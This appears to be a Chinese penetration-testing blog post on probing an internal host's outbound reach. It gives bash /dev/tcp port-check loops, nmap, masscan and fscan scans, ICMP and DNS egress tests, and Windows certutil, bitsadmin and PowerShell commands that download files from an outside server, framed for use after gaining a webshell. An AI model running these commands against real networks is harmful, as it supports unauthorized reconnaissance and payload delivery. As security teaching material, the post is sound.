当前位置: 首页 > news >正文

内网安全——出网协议端口探测

在实战中难免会遇到各种各样的情况,其中对于目标主机是否出网这是一个十分值得收集的信息,因为完全不出网你就获取不到主机了

端口

Linux 系统

对于 Linux 系统,探测其允许出网的端口,这里使用的是 Linux 的自带命令,所以
适用于每个 Linux 版本。

for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && e
cho "$i ************************open************************" || echo "$i clos
ed";done

也可以将结果写入文件中

for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && e
cho "$i ************************open************************"|| echo "$i close
d";done >> result.txt

探测常见端口

for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,33
89,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open****
********************" || echo "$i closed";done

nmap 探测命令
nmap -sT -Pn -p- -v www.baidu.com
masscan 探测命令
masscan -p 80,443,8000-9000 182.61.200.6 --rate=10000
fscan 探测命令
fscan -h 182.61.200.6 -p 1-65535

Windows 系统

对于 Windows 系统,可以直接使用端口探测的程序进行探测即可。比如御剑扫描
器、nmap、IISPutScaner、PortScan 等。如果能 RDP 远程上去,可以使用图形
化工具,如果只是 Webshell,可以使用命令行工具即可!
探测的端口范围
可以根据 nmap 的端口范围探测。也可以根据自己的经验积累的端口范围进行探
测。

nmap -n --top-ports 100 127.0.0.1 -oA foo > /dev/null
grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'

协议

探测 ICMP 协议

服务端监听 ICMP 流量:tcpdump icmp
客户端ping VPS 地址,查看服务端能否收到请求
我们 VPS 监听,然后 ping 我们 vps 查看能否收到监听来判断 ICMP 协议是否出
网。也可以直接 ping 一个地址,看是否有 ttl 值。

探测 DNS 协议

Windows:nslookup、ping
Linux:nslookup、dig、ping
通过判断能否将域名解析为 ip,判断 DNS 协议是否出网。也可以将域名换成
dnslog 的域名,再看 dnslog 能否收到请求

探测 HTTP 协议

Linux 系统可以使用 curl 命令:
curl http://192.168.10.13
Windows 系统可以使用以下命令:

certutil -urlcache -split -f http://192.168.10.13/1
bitsadmin /transfer test http://192.168.10.13/1 c:\1
powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing
http://www.dtcms.com/a/341425.html

相关文章:

  • RAG拓展、变体、增强版(一)
  • 【深度学习-Day 43】解密LSTM:深入理解长短期记忆网络如何克服RNN的遗忘症
  • 8.20网络编程——sqlite3数据库
  • 计算机视觉(二):视觉的处理流程
  • Promise.all 速查与扩展实战
  • 基于SpringBoot的蜗牛兼职网平台
  • React框架超详细入门到实战项目演练【前端】【React】
  • Spring Retry实战指南_让你的应用更具韧性
  • PyTorch API 2
  • 漫漫长夜 全DLC(The Long Dark)免安装中文版
  • Docker之MySQL安装
  • Redis(以Django为例,含具体操作步骤)
  • 数字人制作全流程解析:从概念到落地的完整步骤​
  • 实战:本地大模型+function Calling,获取北京天气
  • uniapp学习【上手篇】
  • [激光原理与应用-314]:光学设计 - 光学系统设计与电子电路设计的相似或相同点
  • 1-2前端撸码前的准备,包管理工具和环境搭建
  • 升级Android系统webview
  • Spring事务源码
  • Linux Capability 解析
  • 【81页PPT】智慧方案智能化弱电智能家居系统解决方案(附下载方式)
  • 如何解决pip安装报错ModuleNotFoundError: No module named ‘requests-html’问题
  • VPS服务器安全审计方案:从风险评估到防护实施
  • 汇编语言学习3---GDB调试
  • 【StarRocks】TabletChecker逻辑
  • 尝试给每个客户端设置一个标签身份,以此来解决非独立同分布的情况?
  • BM25 vs TF-IDF:经典文本检索方法的对比
  • 门控循环单元(GRU, Gated Recurrent Unit)
  • 压缩--RAR、7-Zip工具使用
  • 【Python】新手入门:python面向对象编程的三大特性是什么?python继承、封装、多态的特性都有哪些?